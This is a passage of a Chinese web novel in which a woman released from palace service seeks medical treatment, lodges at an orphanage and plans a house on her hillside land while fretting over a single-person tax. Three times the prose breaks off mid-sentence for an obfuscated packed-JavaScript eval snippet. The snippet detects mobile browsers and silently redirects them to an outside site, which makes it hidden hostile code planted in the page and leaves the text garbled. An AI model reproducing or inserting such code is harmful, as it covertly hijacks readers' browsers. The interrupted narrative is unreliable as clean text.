石碑虽然刻了字寄放在凶肆待发货,但石头本身不值钱,买一块虽然也要一贯多,加上给工匠的工钱,拢共要花两贯,但比起掌柜的愿意给她一起退货退款的寿衣、明器、纸钱等物,更是不值得一提的小事。因此,虽然心痛自己花了两贯钱买了块没用的石碑,但黄迎春心中还是对凶肆的掌柜的和李三充满了感激,没法发出什么怨言。 毕竟,现在心里流的泪,都是自己当初脑子里进的水啊!沦落到现在这个下场,完全是自个儿自作自受! 黄迎春分出二十贯,又把剩下的三十八贯钱妥善地放入怀中藏好,然后卷起包袱兴冲冲地回到杏林医馆。 晚上的住处都还没寻到,但这一点儿也不耽误黄迎春现在的好心情。 太好了!我有钱看病了!我能继续活着了! 一事不烦二主,黄迎春找到昨日给她看诊的那位大夫,把二十贯钱如数交到他面前:“大夫,依您看,我这病该怎么治?” 大夫摸着山羊胡,只说了这么一句话:“百病生于气。” 黄迎春不理解:“可是,我是一个不生气的人啊。” 她在皇宫里既无关系又无门路,又没有阿谀奉承的本事,从来都是老老实实做事,低低调调做人。莫说争吵打架,连与人红脸的次数都超不过一只手。如今她能平平安安出宫,靠的就是多年来表里如一的好脾性。 大夫不赞同,他说:“是人就有生气。你不生气,说明你一直压着不让自己生气,这股气被你淤压在心底,激发不出来就会变成病。更何况你日久天长地压着自己不让自己生气,又没有什么发泄的渠道,相当于只进不出,日子久了,身体自然就坐下病来。” 大夫的话仿佛一把利刃劈在黄迎春的脑海里,她顿时明白大夫与昨天单刀直入的行径大不相同的原因。她的病,不在于身,而在于心。如果不打心底里改变,就算身体上的病痛治好了,也是活不快活的。治标不治本,总有一日那些不适会卷土重来。 忍字心头一把刀啊。 她忍的,何止在皇宫中的十五年。 这一世,她带着上辈子的记忆出生。虽然安朝是她闻所未闻的朝代,但这个世界有许多东西和现代是相似甚至相同的。别的不说,只看菜园里种的蔬菜。黄迎春还记得,她刚学会走路那年,她娘把她带到地里一起去摘菜,顺带教她说话。 “迎春,看,告诉娘,这是什么?” “茄……茄子!” “叽里咕噜说什么呢?这是落苏!落——苏——” 现代的茄子,在娘亲的嘴里,却成了落苏。 惊讶和害怕席卷了黄迎春的心,她生怕自己被当成妖怪抓起来,于是之后无论娘怎么问,怎么让她开口说话,她都不敢再辨认任何一种东西。 “这孩子,怎么这么面呢,就跟据嘴葫芦一样,怎么也不肯多说几句,真是愁人!” 娘亲没愁多久,因为很快她就怀上了第二胎,家里的长辈说小孩子的眼睛干净,娘亲就天天问她肚子里的孩子是男是女。 黄迎春怎么可能知道? 可她知道母亲的想法,所以每回她都说是弟弟。 十月怀胎一朝分娩,她的二妹呱呱落地。 娘亲仿佛把她没生出儿子的事情怪罪到自己的头上,不肯分给她多少好脸色。 二妹牙牙学语时,娘亲又怀孕了。 这回,是弟弟。 人家都说看重老大心疼老小,老二成天受夹心气。 这个惯例在她家却失了灵。 娘亲对弟弟极好,对能说会道的二妹也不错,整个家里唯一一个不得父母看重和疼爱的人只有黄迎春。 这一点,在父母生下更多的弟弟妹妹之后也没有改变。 于是,本就在陌生朝代担惊受怕的黄迎春愈发寡言少语,天天只知道干活吃饭,再偷偷攒点钱财。 结果,好不容易熟悉了乡村的生活,融入安朝成为一个普通的乡下姑娘,她又进了宫。 辛辛苦苦十二年,一朝回到解放前。 黄迎春又开始忍,忍得比从前还要辛苦。 过去酿成的因,全都造就了今日的苦果。 黄迎春低头苦笑:“您说的我明白,可是我能怎么办啊?那不是……实在没法子么。” 大夫指向黄迎春拿出的二十贯钱,问她:“现在也没法子吗?” 两张叠在一起的钱票映入眼帘,黄迎春怔住。 现在…… 现在,她可以一口气拿出二十贯给自己治病救命。 她的怀里还揣着寻常农家集齐一家人之力操劳半辈子都未必都攒到的钱数。 她在这个世界上已经活了二十七年,没有一个人发现她身上的秘密。 她已经离了家、出了宫、立了女户,现在,再也没有需要她忍耐的人和事了。 黄迎春眉间愁绪尽消,笑脸盈盈:“您说的是。” 病能否治疗成功,最要紧的是钱足够支撑走完全部疗程,最关键的是病人完全配合。见黄迎春如此配合,大夫喜笑颜开,也不再浪费时间,很快就理出一整套治疗流程,不限于吃药,还包括针灸、艾灸、药浴、药膳、养气功夫等,日日都得来医馆花上大半天的时间,一日都断不得,起码要来一个月。 新年已过,冰雪初融,转眼就是春耕时节,农家已经渐渐开始忙碌起来,住在城里的坊郭户,也开始争相脱下厚重的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771638|190244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冬装,往更远的地方去寻找生计。这个时候,时间就是金钱。大夫生怕黄迎春心急,对这么长的治疗时间有顾虑,细细地给她解释:“你这些毛病都是日积月累添出来的,没有立竿见影的灵丹妙药,需得花了水磨功夫,慢慢地治。” 田里没地,手里没活的黄迎春很好说话:“您说怎么治,我就怎么治,您放心,我听您的。 黄迎春目前唯一的顾虑只有一件事——她今晚住哪? 她没有顾虑太久,大夫拿出针灸的工具,正准备给她施针,见黄迎春心绪起伏不定,沉声道:“闭眼,静心。” 一根长长的银针扎进她的脑袋,黄迎春顿时什么心思都没有了,浑身上下只剩下紧张。 针灸的时间很长,但见效极快。结束后,黄迎春晃晃脑袋,觉得自己的头都变得不怎么疼了,身体也不再疲惫懒怠,腿脚似乎都更有力气了。 好厉害啊! 这就是传说中的高手在民间吗? 和杏林医馆里的大夫们比起来,医药局里的医师简直就是尸位素餐之辈。 黄迎春敬佩地向大夫致谢,见天色已晚,她又急忙背起包袱,准备赶紧出门去寻摸一家物美价廉的客栈。 没想到,却被大夫留住。 “吃了再走。” 医馆有厨房,但是是熬药用的,进出往来的都是一些药童和跟在大夫身边学习的医徒。医馆里的大夫、学徒和药童们想吃饭,都得自己花钱去外面买。但是,看病就诊不比其他事,遇上黄迎春这种要针灸的,哪怕时间再长,中途也不能停下来,所以,医馆的吃食就被“外卖服务”外包了。 来送夕食的是一个性格爽利的妇女,人人都喊她石娘子。 大夫从石娘子带来的一个餐盒里取出一盅当归生姜羊肉萝卜汤。 羊肉的香气在空气中若隐若现,一打开,香气更是浓郁。几点枸杞子混着生姜当归漂浮在散着油花的热汤上,萝卜的块头切得极大,但是已经被炖透了,看着就清甜可口。 难以想象,在落着冬雪的寒冷傍晚,吃上一盅当归生姜羊肉萝卜汤,会是多么舒服的一件事! 虽然这盅汤完美唤出了黄迎春肚里的馋虫,但她还是摆摆手推却了。 羊肉价贵,她得省着点花。 “你气血不足,羊肉汤既能暖身养胃,还能发汗解表,祛除你体内的寒湿,益处多多,快吃吧。” 石娘子一边手脚麻利地把餐盒里面装的饭菜拿出来,一边说:“娘子别担心,这是药膳,既是吃饭也是吃药,一举两得的事。” 药膳?黄迎春记起大夫说的治疗方案里的确包括这一项,当即不客气地揽着包袱坐下来,开吃! 好香啊! 好饿啊! 好鲜啊! 好好吃啊! “啊……好烫!”黄迎春放下汤勺,嘴里不停呼气,又拿起手不停地扇风,然后继续埋头苦吃。结果她一块羊肉还没彻底吃完,就见石娘子刚拿起空餐盒出门,没过多久就又拿着装得满满的餐盒回来了。 黄迎春好奇地问:“石娘子住得很近吗?” “我就住在拐角的慈善堂,走个二三十步就到了。” “慈善堂?” 旁边有个药童插了一嘴:“那是衙门建的专门收养弃婴和流浪儿的去处。” 羊肉汤还没吃完,屋檐外的天色已经彻底暗淡,即将在大街上流浪的超大龄儿童黄迎春,忽然计上心来。 8. 盖房 慈善堂是官家开设的慈善机构,不具备盈利性质。官府每月都会派人来检阅孩子们的情况,并根据人头数把这个月的份例发给负责人,由她来操办这一群孤儿寡母的生计。西市杏林医馆附近的这一家慈善堂,负责人便是石娘子。 石娘子冒着寒风领先黄迎春一小步走在前面为她引路,声音被严寒摧残得七零八落:“但是,要说过得有多好,倒也没有。衙门的钱也紧,最多也就是能让他们不受冻挨饿,有一片瓦可以遮风挡雨。” 衙门虽然出了钱,但也只能勉强度日。为了让孩子们的日子过得更好一点儿,石娘子每天都在精打细算,开源节流,这也是黄迎春刚开口说愿意出钱借宿她便立刻一口应下的原因。 慈善堂的招牌已经落漆,门口挂着的灯笼里面连根冒烟的灯草都没有,若不是黄迎春一直紧紧跟着早已走惯的石娘子,早就不知道在昏暗处跌了几回跤。 “有个地方睡觉,有口吃的,对孩子们来说已经很好了。”这话,也是黄迎春在宽慰自己。 “是啊,等孩子们大了,学了手艺,有了本事,他们的日子就会越来越好过的。”石娘子并不气馁,一进门,她就扬起亲切的笑脸,一边和遇见的孩子们说家常,一边把黄迎春介绍给大家。 去厨房放了餐盒,石娘子又带着黄迎春去她的住处。慈善堂地方不大,石娘子又是个健谈的,还没放下包袱,黄迎春已经把慈善堂里的布局知晓了七七八八。 “你就睡这儿吧。”石娘子给黄迎春指了一个地方,倒是出乎黄迎春的意料,竟然不是和女孩儿们挨在一起睡的大通铺,而是一个单间。虽然地方不大,空气里还弥漫着一股若有似无的尿骚味,但毕竟是一个有床有门的单人房间。 “这是云嫂子的屋子。”石娘子和黄迎春解释,“哦,云嫂子是我们这儿聘的奶娘。她家就在附近,所以一般晚上都回家去。这个月你就住在这儿吧。” 黄迎春忐忑地问:“不碍事吧?” 她一开口石娘子就风风火火地把她带回来了,这段时间她一直和她形影不离,她们也没碰上石娘子口中的云嫂子,毕竟是别人的房间,没提前知会一声就让她住进来,明天她不会被云嫂子连人带包袱丢出去吧? “不碍事。都是女的,碍什么事啊!一开始,云嫂子都是在外面喂的。哪个饿了,就直接敞怀抱过来喂。咱们这儿反正也没个男人,门一关,还怕哪个来看?”石娘子说得敞亮,黄迎春说话听音,也明白石娘子口中的外面不是真的外面,而是那些吃奶的孩子们睡的地方。 黄迎春脸皮薄:“看人喂奶,我还是不大好意思。我和您讨问下云嫂子上工的时间,等她来了,我就把床收拾好,趁早避出去。” “不用,不用!”石娘子看在一天二十文的面子上,怎么说都不肯让黄迎春吃亏。黄迎春住在这里原本就不包伙食,若再让人连觉都睡不好,石娘子睡到半夜都得起来抽自己两个嘴巴子——亏心哪! 黄迎春推拒不过,只能自己打定主意,暗暗警醒自己晚上不要睡得太过,注意听打更人报时,早上起得早一点儿。 实际上,黄迎春可能也不需要有这种担心,她虽然有了住的地方,但慈善堂并不宽裕,石娘子甚至找不出一个多余的火盆可以挪给黄迎春取暖。 幸好,黄迎春的包袱里自带了一个汤婆子,石娘子连忙殷勤地帮忙拿去厨房灌热水。 回来后,石娘子又手脚麻利地把屋子里云嫂子的物品放到一处收起来,给黄迎春腾地方。 黄迎春则走到窗边,检查了一下窗户的合页,当着石娘子的面把房间里所有物什的好坏情况都确定了一遍。 人心叵测,不得不防。黄迎春可不想在离开慈善堂那天被人拦在屋里,要求赔偿房屋里有损坏痕迹的物品。 石娘子勤快地把房间收拾好,环顾四周,最后把目光落在那扇狭窄的小窗上。 她嘱咐黄迎春:“明天早上若是在窗外看到人影,或是听到什么声响,你别怕,那是堂里的孩子。” 云嫂子之所以能有一间属于自己专门拿来喂奶的屋子,不是没有缘由的。 她第一天来慈善堂上工,孩子们就围着她打转。 本以为是新鲜感作祟,没想到过了半个月这个情况依然没有发生改变,总是有孩子一边含着手指头放在嘴里啜一边看她喂奶,而且不止一两个。 石娘子一开始还以为这些孩子是饿了,结果咬牙蒸了一大笼屉的小馒头,还是有一些孩子拿着馒头眼巴巴地守在喂奶的云嫂子身边。 小小年纪竟然就有淫/性! 她生气地去驱赶那些赖在袒胸露乳的云嫂子身边的儿郎,结果大嗓门吓到了还在喝奶和睡觉的小娃,大家此起彼伏地哭起来,偏偏人手又少,一人抱两个都哄得来不及。 往日里比较懂事贴心的女孩儿主动过来帮忙哄,结果怎么哄都哄不好,最后反倒急得自己个儿哭出声来。 姑娘们一哭,儿郎们也哭了。 石娘子这才从他们的抽噎中知道原委。 原来,他们不是不知羞,也不是馋嘴想喝奶,只是看见云嫂子抱着小小的人儿喂奶,笑着夸怀里的孩子,很是羡慕,觉得若是他们的家人没有丢弃他们,他们的娘应该也会这样对待他们。 这些孩子,只是想念母亲了。 他们渴望当一次云嫂子怀里的孩子,被她抱在怀里,被她用热乎乎的脸颊贴着脸亲昵,被她用好听的嗓音唱着小曲儿哄着入眠…… 他们想知道有娘是什么感觉,可惜他们没有娘。 “没法子打骂,他们都懂事听话的很,就是有些孩子和他们讲了道理他们也忍不住,总有偷偷跑到窗外往里偷看的时候。不过你放心,他们什么也看不着。今年冬好不容易新糊的窗纸,花了大价钱,没人敢捅。天也凉,他们也知道不能受寒生病,到了晚上基本上个个都不出屋子。就是以前有发生过一次这样的事情,我提前和你说一声,给你打声招呼,要是真有哪个混小子在外面作怪吓到你了,你喊一声,我就在东屋,能听见。” 石娘子又给黄迎春指了她的住处。 慈善堂里人手不多,孩子们都是老带新,大带小,但是还没学会说话走路又会闹觉的小孩,夜间只能石娘子自己带了。 “我觉浅,你放心,有事就来找我,在门口叫一声就行。”石娘子这么说。但是一个月来,黄迎春没有麻烦过她一回。反倒是她,受了黄迎春不少的照顾。 每天早上,石娘子醒来的时候,厨房的灶上已经烧好一大锅热水等待取用。她煮好朝食,拿着餐盒准备送去杏林医馆时,黄迎春总会打着她也要去医馆治病的旗号,帮她一起把餐盒送过去。晌午她买完东西回来,也会遇见黄迎春蹲在院子里和孩子们一起挑拣药材。 “石娘子你回来啦,哦,陈大夫说我最近好转许多,针灸的部位越来越少了,所以我回来得比较早,就在这儿和月娘荷娘她们一起玩,不妨事吧?” “哪里是玩,迎春姨姨帮我们弄了好多呢!石娘娘你看,这些全部都是迎春姨姨分出来的。” “石娘娘你给我们买什么好吃的回来了?啊……是弟弟还是妹妹?又是在门口捡的吗?” 每年一到冬天,慈善堂光秃秃的门槛前面隔三差五就会多出一个孩子。不知是遭了天灾还是人祸,总之,来慈善堂的孩子都是被家人抛弃的。今天这个也不例外。 石娘子把熟睡的孩子抱进屋里安顿好,出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771639|190244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来加入到挑拣药草的队伍里,一边挑,一边叹气:“我一回来就看见这个孩子在门口放着,放孩子的那个女人我也见到了,一直在边上躲着,看我抱起孩子才走了,说是家里穷,孩子身体弱,怕养不活。可我看她那穿着,也不到穷到要饭的时候,怎么就养不起一个孩子呢?!” 黄迎春淡淡地说:“是女孩吧?” “是个男孩。”伤感只有一瞬间,石娘子很快又打起精神,开始和身边的孩子们商量起新成员的名字,“冬天捡的,叫晚冬吧?” “石娘娘,咱们堂里已经有一个晚冬啦!” “娘娘你真不会起名,不是早冬立冬就是晚冬的,就没有别的冬了吗?” …… 官府的人每月初一来给钱,慈善堂的孩子却不会专挑每月初一来。 多出来的不仅是时间,更是饱腹的食物、取暖的柴火和裹身的衣裳。 这些花费,和官府说,拿钱的人只会说石娘子斤斤计较,不说,日积月累下来,也是一大笔钱。 好在,天无绝人之路,世上的好心人也不少。 杏林医馆平日里会收一些外来的草药,这些草药没有经过炮制和清洗,甚至有些送来的时候还混着枯枝败叶。 医馆就把这个活交给了慈善堂,虽然钱不多,但是这已经是石娘子能找到的顶好的活计了,不用出门,孩子们虽然年纪小,但也做得来。 有个记性好的孩子,认识的药材多了,甚至因此进杏林医馆做了个药童,也是机缘巧合,但他深记慈善堂对他的恩情,时常买了点心回来探望石娘子和兄弟姐妹。 “就叫忍冬吧,石忍冬。”药童说。 “山哥你回来啦!” 孩子们呼啦啦地朝药童围过去,年纪不大的药童身量不高,却能抱起一个又一个孩子,几乎和所有能跑能跳的弟弟妹妹们都亲近后,他拎着鼓鼓囊囊的油纸包招呼道:“都去洗手,一个一个来,大家都有份。” 石娘子也招呼一直在帮忙挑拣草药的黄迎春:“快歇歇,别忙了。” “还剩一点,这些弄完就停。”黄迎春细致地挑着。 她左手拿起一株药草,右手不停地挑出缠绕在其中的其他草叶和细枝,把它们攥在手里,然后继续拿起下一棵。 黄迎春手脚麻利,很快就把剩下的一点药草彻底挑拣干净。 她把手里的草芥扔在一旁,站起身,刚走动几步舒缓了一下身体,只见那些被她拣出来的草芥被寒风一吹,立即四散开来,打着卷儿飘到天空,又落到地上,零落成泥碾作尘,唯有风如故。 黄迎春去看了一眼那个刚被石娘子捡回来的名叫忍冬的孩子,雪虽然越下越小了,但天还是冷的,这个孩子在门外不知冻了多久,嘴唇都有点泛青,他的呼吸,就和草芥一样微弱。 如蝼蚁一般的人们,命运的出路在哪里呢? 黄迎春想了一夜,最后还是决定不能留在城里。 住在城里,生火要钱,喝水要钱,穿衣要钱,吃饭要钱……干什么都要钱,连倒个夜香还要付给倾脚夫一个月十文钱的跑腿费!更要命的是,她买不起房子,也赁不起几十年的屋子,手里还没有进项,住在城里坐吃山空的下场只有死路一条! 还是出城吧,去临安乡,再怎么说,她在那里也有一座占地三百亩的山林。砍点柴种点菜再养些鸡鸭钓点鱼虾,总不会饿死的。 打定主意之后,第二天治疗一结束,黄迎春立刻风风火火地闯进牙行。 宋大见到黄迎春已经有点怕了,生怕她是来找自己旧话重提,磨那座荒山的买卖。 结果,黄迎春的来意比买卖荒山更让他吃惊。 “您想在荒山脚下盖房?” 9. 单身税 宋大极力想要说服黄迎春打消这个不靠谱的想法。 “之前地龙翻身的时候,几乎整个连家村的人都被埋在地下,少有人逃出来。住在附近的,这些年也都不敢往那里去,就怕什么时候再来一场地龙翻身……”宋大说着说着,自知失言,连忙转移话题,建议黄迎春在荒山附近的村落安家置地,“我手上有不少良田,一亩只要二三贯。现在正好开春,田地稍微侍弄一下就能直接播种,一点儿都不耽误农事。” 比起置田,黄迎春更在意建房。她问清起一座最简单的屋舍大概只需要十贯钱之后,算了算身上的余钱,觉得匀出几贯钱买一两亩良田也是不错的选择。毕竟山地地势崎岖,灌溉不易,本来就不适合大面积种植,而且她现在还在城里治病,也不知道什么时候能治好,等她回山里开荒,还不知道要过多久,误了农时耽误了一整年的收成就不好了。 正当她兴致勃勃地和宋大一起选地时,一段遥远的记忆突然袭击了她的脑海,黄迎春立刻僵住了:“如果我买了田地,每年是不是还要交田税?” “当然。”这是三岁小儿都知道的事情,宋大疑惑黄迎春竟然还特意问了一声。 哦,可能是不清楚具体要交多少税吧! 宋大心想,于是他十分善解人意地给黄迎春科普了安朝田税的缴纳时间和征收标准。 “咱们沿袭前朝,实行两税法。夏天和秋天各收一次田税。夏税征钱,也可以用绸绢布麦来代替。毕竟咱们这里种桑养蚕的人家多,家里有织机的,织两匹布交上去就尽够了。秋税只征粮食,良田的话,大概每亩收三斗的田税。另外,每人每年还要缴纳五百文的人头税,也是秋收之后一起征收……” 涉及到宋大的专业,他侃侃而谈。 黄迎春却越听心里越虚,她语气发飘,忍不住打断宋大:“咱们还是说说在荒山脚下建房的事情吧。你刚才说盖一间厨房,一间睡觉的卧房,一间待客的中堂和一个储冬的地窖,这些全部承包给施工队,土石木料全包,雇佣施工队的银钱也全部都算在内,一共要十贯,对吧?” 宋大不知道话题怎么又回到盖房上了,他一再确认,黄迎春十分坚定地表明——她就是要在荒山脚下找一个风水好的地方盖房安家! 寻常人家盖房也是要看风水的,不求大富大贵,只图安稳一生,所以这个风水就十分务实,只要避风近水就行,不必特意花钱去请什么风水大师来堪舆,施工队里有点年头的老把式都会看这个。 宋大可以给黄迎春打包票,他给她找的施工队一定能给她把房子盖好,但他不敢保证黄迎春能在里面住好。 房子盖得再结实有什么用啊,又不是青砖大瓦房。就算是青砖大院,一场地动过来就什么都没了,十年前连家村一位大地主家里的院子都是青砖铺的,结果呢,全家上下几十口人,除了外出的几个,全部尸骨无存。 黄迎春知道宋大是好心,但她不知道该怎么和宋大解释。 在古代,一发生天灾,百姓们就哭天喊地,埋怨自己命不好。活着的人显而易见地预见自己晚景凄凉,便余生都在求生拜佛,希望自己下辈子能投一个好命的胎。但闹天灾的次数要是太多或是在某地过于集中,当地执政者就会检讨自己。如果天灾的危害大到人人闻之丧胆,这时候就得请皇帝下罪己诏,举行各种仪式,祈求上天宽恕罪过。要是这样做还无法安抚民心,恰巧朝局动荡,在位的是个昏君,这时就会腾空出现一位盛世明君。总之,没有人会真的想去了解和探究发生天灾的真正原因。 通过九年义务教育的黄迎春和没上过初中地理课的宋大有次元壁,黄迎春不知道该怎么和宋大解释地震发生的成因,以及临安乡并不在板块交界处,发生地震的概率极低,她只能苦笑道:“如果我在那里遇上地龙翻身,那也是我的命。命该如此,迁居到哪儿都躲不了。若我命中不该早死,住在地动过的荒山,也能平安一生。” 黄迎春这样说着,连田地也不想购买了。宋大还想再劝,但他忽然意识到,黄迎春的态度是在他向她说了缴纳赋税这件事之后才发生了一百八十度的大转变。 田税和人头税虽然不多,但如果再加上单身税呢? 男十五成丁,女十六成人,这是律法。 宋大是陪着黄迎春一起去衙门立女户的人,对她的年纪和婚姻状况一清二楚。 怪不得,她忽然变了口风,连田地也不想买了。 明明她先前那会儿还对宋家村附近的几亩良田很感兴趣。 自打发觉了单身税的前情,不管黄迎春怎么说,宋大都当她是死鸭子嘴硬。所有的不得已,不过是在钱上一字为难罢了。 他也帮不上什么。世上的苦命人那么多,尤其是在牙行里,他每天都会碰上几个。善心虽多,经不住荷包里钱少啊。 宋大也只能说一些命运、运气之类的话去附和黄迎春。 黄迎春交给宋大十贯钱,拿回一张签约的白契,她把那张“盖房合同”看了又看,心里满怀对新家的憧憬和新生活的希望:“钱是人的胆,只盼我将来胆子能越来越大吧。” “那是自然。”宋大把黄迎春送出门,衷心地祝愿她,“只能辛苦您再缴纳几回单身税了,好在女户前三年开荒都有减免赋税的政策,等熬过这几年,娘子您的日子定然会一天比一天过得好的。” 啥玩意儿?单身税? 黄迎春的笑容一下子僵在脸上,她猛地回头:“你刚才说什么?” 为什么宫女年过三十才放出宫? 除了节省用人成本,上位者其实还有另一种考量。安朝建立之后,为了尽快补充被战争消耗的大人口,官府出了种种休养生息的召令——鼓励寡妇再嫁;削减农税;宣扬多子多福,奖励生育数量多的女性……还有,对年十七到三十岁适龄未婚的男女收取单身税。 随着年龄的增长,单身税的数额会一年比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771640|190244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一年收得多。第一年,只要五百文,相当于一个成年人一年口粮的赋税。第二年,就要一贯。第三年,交一贯五百文钱……以此类推。到了三十岁之后,要是还无法成家,那就没办法了,官府会对这位勤勤恳恳缴纳了十四年单身税的优秀纳税人表示深切的遗憾,然后果断放弃对这位光棍的催婚大业。 但是,宫女年过十七还没成亲,那就不是人家的问题了。她们通常在十二三岁的花样年华被花鸟使召进宫,年老色衰、青春不在后又被放出宫去,换一批更年富力强的新人进去伺候。这时候,要是还揪着大龄宫女的未婚问题让人家交单身税,那真是没有丝毫道理可讲。为了安抚民心,宫女出宫的时限就被定为三十岁。三十岁之后再出宫,虽然没了青春,但好歹不会被要求缴纳单身税。 宋大也奇怪:“也不知道这个惯例流传了这么多年,怎么今年忽然就改了?今年花鸟使出来召人时带的话,说是以后宫女二十五岁就可以被放出宫。因为这个,好些人家都觉得有了盼头,姑娘家也没有那么不情愿入宫了呢。都说进去见见世面,攒点银钱,出来年纪也不大,说不定能寻个更好的。要是万一在宫里被贵人看重,说不定自己也就飞上枝头成为贵人了。” 旁边有个牙人啐了一口:“那都是那些丧良心的父母贪图富贵说出来骗小娘子的话,宫里哪里是那么好进的,贵人又哪里是那么好当的。到时候当不成贵人,出来也成了老姑娘了,还能配什么好人?要我说,还不如在家待着,学门手艺,再认真相看找一门好亲事,到时候家里聘礼收了,姑娘也能时常见面,不必进宫好?” 宋大和另一个牙人说着话,听了一耳朵的黄迎春忽然想起在新年夜刚被册封的皇后娘娘。先后还在时,新后一直屈居人下,当了多年的皇贵妃,才终于熬成皇后。多年媳妇熬成婆,新官上任三把火,这些黄迎春都能理解。但是,当这把火烧到自己头上,城门失火殃及池鱼时,黄迎春就一点儿都高兴不起来了。 皇后娘娘,您倒是把单身税的收取年限也一起改了呀! 黄迎春望着皇宫的方向,尝到了哀莫大于心死的滋味。 黄迎春现在才明白,她一直心心念念的出宫倒计时,其实还是免税倒计时。 现在好了。 “黄迎春,女,二十七岁,今年秋收时应缴纳单身税,六贯五百文。” 黄迎春去了一趟衙门,望着文书边说边在纸上写下的那句话,想想明年要交七贯,后年要交七贯五百文,两眼一黑,差点倒在算盘前。 为什么她偏偏出生在迎春花开的春天呢?为什么她不能提前几个月出生呢?这样她就可以少缴八贯钱了! 给个甜枣再打个巴掌,黄迎春就这样在上天的捉弄里神思不属地走回慈善堂,连夕食也没心思吃。 真的可以活下去吗? 怀里只有二十八贯的黄迎春看不清前路,她裹着芦花被,在凉飕飕的房间里沉沉地叹了一口气。 10. 二十贯 前几日还觉得自己身上的财产是穷苦人家大半辈子都积攒不到的钱数,现在,黄迎春完全不敢这么想。 老话说破家值万贯,她支了十贯钱出去,只能置办一座空落落的屋舍,若想冬日过得舒适一点,找人盘个火炕还得再花上二百文,更别提锅碗瓢盆等各种日常生活用品还没置办,样样都得买,样样都得花钱。 黄迎春把怀里的二十八贯钱翻出来,对着它们翻来覆去地想,怎么算都不够用。 白日里为了拒绝宋大,她说了许多认命的话。话虽然是这么说着,但能活,黄迎春倒也没有那么盼着去死。日子既然还有点盼头,她就得为以后多做打算。 钱是一分都不能多花的,既然落了农籍,变成个靠山吃山的山户,谁也不知道今年年景如何。万一收成不好,粮食不丰,仅够来年的口粮,她就无法卖粮换钱,无法在秋收后交上赋税,然后就会被官府抓走惩罚。无论是挨板子还是做劳役,黄迎春都不想碰上。所以,最好的办法就是提前把今年要交的税费留出来,不去动。 女户不易,立女户的人多是家里的男人死绝了,没办法,只能靠女人撑起家里的一片天。女子比男子体弱,在这个世道像男人一样养家糊口十分不易,因此,官府有对女子立户前三年减免赋税的扶持政策。可惜,黄迎春却讨不到什么便宜。以她现在的财力,她根本无法支撑买田置地的打算,按律,田税虽然对她有所减免,黄迎春今年却无福消受。 山地地形复杂,丈量不易,清丈困难,所以官府一向采取免丈政策。黄迎春只需要每年按照亩数意思性地缴纳上一笔山泽税,便能在荒山安然度日。根据黄迎春今天去衙门打听到的消息,她应交的山泽税每年大概在三百文。 人头税一年也要交上五百文。 如果家中养了牲畜,还要交牲畜税。 拥有一头耕牛是黄迎春的梦想,可惜,她如今注定无法如愿。 买一头牛的价格和盖一座房子差不多,最便宜的也要十贯。如果买小牛犊,倒是只需要二三贯,刚好是一亩良田的钱数。只是小牛犊还没长大,买回家也干不了活,还得好生养着,万一在养育过程中出了什么事,被人偷了或是生病了,也是一件麻烦事,所以少有人会买小牛犊,大多都是买可以直接下地耕田的健牛。 但这些都不是黄迎春该操心的事情,别说牛和小牛犊了,她连一亩良田都买不起,还得从二十八贯里匀出八贯税费放好,留着秋收后缴纳给衙门。 那么,就只剩下二十贯了。 黄迎春细细思量,既然要安家,总得要有吃饭的家伙。 上山砍柴要用柴刀,割稻要使镰刀,锄地要用锄头……光是农具就又要花一大笔钱。厨房的铁锅和菜刀也是必不可少的,铁价高昂,偏偏这些又都是省不了的必需品,黄迎春光是想想,就觉得心在流血。 二十贯也不知道买完农具和炊具之后还能剩下多少。 荒山还没开垦,黄迎春手里没有余粮,今年的粮食还得去米行买。播种的粮种也没着落。开门七件事,柴米油盐酱醋茶,黄迎春除了最后一个能义无反顾地丢弃掉,其他六样,样样都无法俭省,偏偏它们都是生活必需品,极其容易消耗,需要常常补充。 石娘子送完外卖来黄迎春的房间门口敲门,生怕黄迎春病了,非要黄迎春出来吃饭。 “我听月娘说你回来的时候脸色不大好,是不是这几日在外行走冷到了?最近天气反复无常,你可得多注意点。不能因为快开春了,就删减衣裳,这天多变着呢。我烧了一锅暖菜,快来吃。” 所谓暖菜,就是在开春时把去年冬天放在地窖里存鲜的蔬菜拿出来混着豆豉用小火炖到菜烂汤浓。虽然没有肉,但喝一碗下去,又暖又醇,足够御寒。有那疼爱孩子的人家,还会放一点饴糖进去熬煮,给孩子甜甜嘴。石娘子就是这种疼爱孩子的人。她虽然因为无子被夫家休弃,也为娘家不容,但她没有把这些憎怨发泄到孩子们身上,反而对慈善堂里的每一个孩子都关爱有加,视如己出。 石娘子不仅关心孩子,还关心黄迎春,见黄迎春手里的碗即将见底,连忙要帮她打第二碗。 